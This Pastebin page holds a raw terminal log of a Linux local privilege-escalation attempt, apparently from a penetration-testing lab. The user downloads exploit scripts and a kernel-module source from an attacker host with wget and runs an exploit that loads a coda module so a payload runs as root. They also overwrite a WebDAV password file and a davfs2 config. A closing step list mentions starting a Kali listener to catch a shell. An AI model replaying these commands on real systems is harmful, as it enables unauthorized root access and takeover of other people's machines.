API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 18th, 2016
2,851
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.63 KB | None | 0 0
raw download clone embed print report
  1. $ cd /tmp
  2. cd /tmp
  3. $ wget http://10.11.0.31/paul/exploit.sh | wget http://10.11.0.31/paul/rootprog | wget http://10.11.0.31/paul/coda.c | wget http://10.11.0.31/paul/Makefile
  4. wget http://10.11.0.31/paul/exploit.sh | wget http://10.11.0.31/paul/rootprog | wget http://10.11.0.31/paul/coda.c | wget http://10.11.0.31/paul/Makefile
  5. --2016-06-18 05:45:52-- http://10.11.0.31/paul/Makefile
  6. --2016-06-18 05:45:52-- http://10.11.0.31/paul/coda.c
  7. Connecting to 10.11.0.31:80... Connecting to 10.11.0.31:80... --2016-06-18 05:45:52-- http://10.11.0.31/paul/exploit.sh
  8. --2016-06-18 05:45:52-- http://10.11.0.31/paul/rootprog
  9. Connecting to 10.11.0.31:80... Connecting to 10.11.0.31:80... connected.
  10. HTTP request sent, awaiting response... connected.
  11. HTTP request sent, awaiting response... connected.
  12. HTTP request sent, awaiting response... connected.
  13. HTTP request sent, awaiting response... 200 OK
  14. Length: 158
  15. Saving to: `Makefile'
  16.  
  17. 200 OK
  18. Length: 658 [text/x-csrc]
  19. Saving to: `coda.c'
  20.  
  21. 200 OK
  22. Length: 3586 (3.5K) [text/x-sh]
  23. Saving to: `exploit.sh'
  24.  
  25. 200 OK
  26. Length: 5132 (5.0K)
  27. Saving to: `rootprog'
  28.  
  29. 100%[======================================>] 658 --.-K/s in 0s
  30.  
  31. 2016-06-18 05:45:53 (60.6 MB/s) - `coda.c' saved [658/658]
  32.  
  33. 100%[======================================>] 158 --.-K/s in 0s
  34.  
  35. 2016-06-18 05:45:53 (26.3 MB/s) - `Makefile' saved [158/158]
  36.  
  37. 100%[======================================>] 5,132 --.-K/s in 0s
  38.  
  39. 2016-06-18 05:45:53 (456 MB/s) - `rootprog' saved [5132/5132]
  40.  
  41. 100%[======================================>] 3,586 --.-K/s in 0s
  42.  
  43. 2016-06-18 05:45:53 (297 MB/s) - `exploit.sh' saved [3586/3586]
  44.  
  45. $ ls
  46. ls
  47. coda.c exploit.sh Makefile mongodb-27017.sock rootprog vmware-root
  48. $ chmod 777 *
  49. chmod 777 *
  50. chmod: changing permissions of `mongodb-27017.sock': Operation not permitted
  51. chmod: changing permissions of `vmware-root': Operation not permitted
  52. $ ./exploit.sh
  53. ./exploit.sh
  54. #######################################
  55. Specify the full path of the kernel module which you want to load
  56. Leave empty if you wish to compile it now
  57. Understand that you need kernel headers, make and gcc for successful compilation
  58. #######################################
  59.  
  60.  
  61. make -C /lib/modules/3.2.0-4-686-pae/build M=/tmp modules
  62. make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
  63. CC [M] /tmp/coda.o
  64. Building modules, stage 2.
  65. MODPOST 1 modules
  66. CC /tmp/coda.mod.o
  67. LD [M] /tmp/coda.ko
  68. make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'
  69. #######################################
  70. Copying the modules in use for the running kernel in the local directory
  71. #######################################
  72. #######################################
  73. Copying coda.ko module
  74. #######################################
  75. #######################################
  76. Setting the 'modules.dep' and running depmod
  77. #######################################
  78. #######################################
  79. Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is /tmp/rootprog
  80. WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module
  81. #######################################
  82. /tmp/rootprog
  83. /tmp/rootprog
  84. cp: `/tmp/rootprog' and `/tmp/rootprog' are the same file
  85. #######################################
  86. Setting MODPROBE_OPTIONS variable
  87. #######################################
  88. #######################################
  89. Now, check the the /home/davtest/.davfs2/davfs.conf. Modify the default value of 'kernel_fs' to coda eg:
  90. # General Options
  91. # ---------------
  92.  
  93. # dav_user davfs2 # system wide config file only
  94. # dav_group davfs2 # system wide config file only
  95. # ignore_home # system wide config file only
  96. kernel_fs coda
  97. # buf_size 16 # KiByte
  98. #######################################
  99. #######################################
  100. Then, check /etc/fstab for remote webdav servers which the user can mount, eg:
  101. https://www.crushftp.com/demo/ /home/foo/dav davfs noauto,user 0 0
  102. #######################################
  103. #######################################
  104. If the remote webdav is authenticated, ensure to have valid credentials. The run 'mount /home/foo/dav' inside this terminal'
  105. #######################################
  106.  
  107. davtest@humble:/tmp$ ls
  108. ls
  109. coda.c coda.mod.o lib modules.order rootprog
  110. coda.ko coda.o Makefile Module.symvers vmware-root
  111. coda.mod.c exploit.sh modules.dep.ok mongodb-27017.sock
  112. davtest@humble:/tmp$ cd /home/davtest/.davfs2
  113. cd /home/davtest/.davfs2
  114. davtest@humble:~/.davfs2$ wget http://10.11.0.31/paul/davfs2.conf
  115. wget http://10.11.0.31/paul/davfs2.conf
  116. --2016-06-18 05:55:22-- http://10.11.0.31/paul/davfs2.conf
  117. Connecting to 10.11.0.31:80... connected.
  118. HTTP request sent, awaiting response... 200 OK
  119. Length: 2167 (2.1K)
  120. Saving to: `davfs2.conf.1'
  121.  
  122. 100%[======================================>] 2,167 --.-K/s in 0s
  123.  
  124. 2016-06-18 05:55:23 (6.74 MB/s) - `davfs2.conf.1' saved [2167/2167]
  125.  
  126. davtest@humble:~/.davfs2$ mv davfs2.conf.1 davfs2.conf
  127. mv davfs2.conf.1 davfs2.conf
  128. davtest@humble:~/.davfs2$ cd /var/www/web1
  129. cd /var/www/web1
  130. davtest@humble:/var/www/web1$ ls -la
  131. ls -la
  132. total 16
  133. drwxr-xr-x 3 root root 4096 Dec 26 2013 .
  134. drwxr-xr-x 3 root root 4096 Dec 26 2013 ..
  135. -rw-r----- 1 davtest www-data 43 Dec 26 2013 passwd.dav
  136. drwxr-xr-x 2 www-data root 4096 Dec 26 2013 web
  137. davtest@humble:/var/www/web1$ htpasswd -c /var/www/web1/passwd.dav test
  138. htpasswd -c /var/www/web1/passwd.dav test
  139. New password: test
  140.  
  141. Re-type new password: test
  142.  
  143. Adding password for user test
  144. davtest@humble:/var/www/web1$ cat passwd.dav
  145. ls
  146. cat passwd.dav
  147. test:$apr1$wCk.6j4z$/g2zDYMVzlmRvXAW/jV1F0
  148. davtest@humble:/var/www/web1$ ls
  149. passwd.dav web
  150. davtest@humble:/var/www/web1$ ls
  151. ls
  152. passwd.dav web
  153. davtest@humble:/var/www/web1$ ls -la
  154. ls -la
  155. total 16
  156. drwxr-xr-x 3 root root 4096 Dec 26 2013 .
  157. drwxr-xr-x 3 root root 4096 Dec 26 2013 ..
  158. -rw-r----- 1 davtest www-data 43 Jun 18 06:01 passwd.dav
  159. drwxr-xr-x 2 www-data root 4096 Dec 26 2013 web
  160. davtest@humble:/var/www/web1$ cat passwd.dav
  161. cat passwd.dav
  162. test:$apr1$wCk.6j4z$/g2zDYMVzlmRvXAW/jV1F0
  163. davtest@humble:/var/www/web1$ cd /home/davtest/.davfs2
  164. cd /home/davtest/.davfs2
  165. davtest@humble:~/.davfs2$ cat davfs2.conf
  166. cat davfs2.conf
  167. # davfs2 configuration file 2009-04-12
  168. # version 9
  169. # ------------------------------------
  170.  
  171. # Copyright (C) 2006, 2007, 2008, 2009 Werner Baumann
  172.  
  173. # Copying and distribution of this file, with or without modification, are
  174. # permitted in any medium without royalty provided the copyright notice
  175. # and this notice are preserved.
  176.  
  177.  
  178. # Please read the davfs2.conf (5) man page for a description of the
  179. # configuration options and syntax rules.
  180.  
  181.  
  182. # Available options and default values
  183. # ====================================
  184.  
  185. # General Options
  186. # ---------------
  187.  
  188. # dav_user davfs2 # system wide config file only
  189. # dav_group davfs2 # system wide config file only
  190. # ignore_home # system wide config file only
  191. kernel_fs coda
  192. # buf_size 16 # KiByte
  193.  
  194. # WebDAV Related Options
  195. # ----------------------
  196.  
  197. # use_proxy 1 # system wide config file only
  198. # proxy # system wide config file only
  199. # servercert
  200. # clientcert
  201. # secrets ~/.davfs2/secrets # user config file only
  202. # ask_auth 1
  203. # use_locks 1
  204. # lock_owner <user-name>
  205. # lock_timeout 1800 # seconds
  206. # lock_refresh 60 # seconds
  207. # use_expect100 0
  208. # if_match_bug 0
  209. # drop_weak_etags 0
  210. # allow_cookie 0
  211. # precheck 1
  212. # ignore_dav_header 0
  213. # server_charset
  214. # connect_timeout 10 # seconds
  215. # read_timeout 30 # seconds
  216. # retry 30 # seconds
  217. # max_retry 300 # seconds
  218. # add_header
  219.  
  220. # Cache Related Options
  221. # ---------------------
  222.  
  223. # backup_dir lost+found
  224. # cache_dir /var/cache/davfs2 # system wide cache
  225. # ~/.davfs2/cache # per user cache
  226. # cache_size 50 # MiByte
  227. # table_size 1024
  228. # dir_refresh 60 # seconds
  229. # file_refresh 1 # second
  230. # delay_upload 10
  231. # gui_optimize 0
  232.  
  233. # Debugging Options
  234. # -----------------
  235.  
  236. # debug # possible values: config, kernel, cache, http, xml,
  237. # httpauth, locks, ssl, httpbody, secrets, most
  238.  
  239.  
  240. davtest@humble:~/.davfs2$ ls
  241. ls
  242. cache certs davfs2.conf secrets
  243. davtest@humble:~/.davfs2$ mount /home/davtest/dav
  244. mount /home/davtest/dav
  245. Please enter the username to authenticate with server
  246. http://127.0.0.1/webdav/ or hit enter for none.
  247. Username: test
  248. test
  249. Please enter the password to authenticate user test with server
  250. http://127.0.0.1/webdav/ or hit enter for none.
  251. Password: test
  252.  
  253. libkmod: ERROR ../libkmod/libkmod.c:554 kmod_search_moddep: could not open moddep file '/tmp/lib/modules/3.2.0-4-686-pae/modules.dep.bin'
  254. davtest@humble:~/.davfs2$ locate modules.dep.bin
  255.  
  256.  
  257. Second Output
  258.  
  259.  
  260.  
  261. /sbin/mount.davfs: no free coda device to mount
  262. /sbin/mount.davfs: trying fuse kernel file system
  263. /sbin/mount.davfs: fuse device opened successfully
  264.  
  265.  
  266.  
  267.  
  268.  
  269. what i id
  270.  
  271.  
  272.  
  273.  
  274. 4) run ./exploit.sh
  275. 5) move passwd.dav to replace /var/www/web1/passwd.dav
  276. 6) move davfs2.conf to replace /home/davtest/.davfs2/davfs2.conf
  277. 7) don't forget to start your Kali listener to receive your shell
  278. 8) mount /home/davtest/dav
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!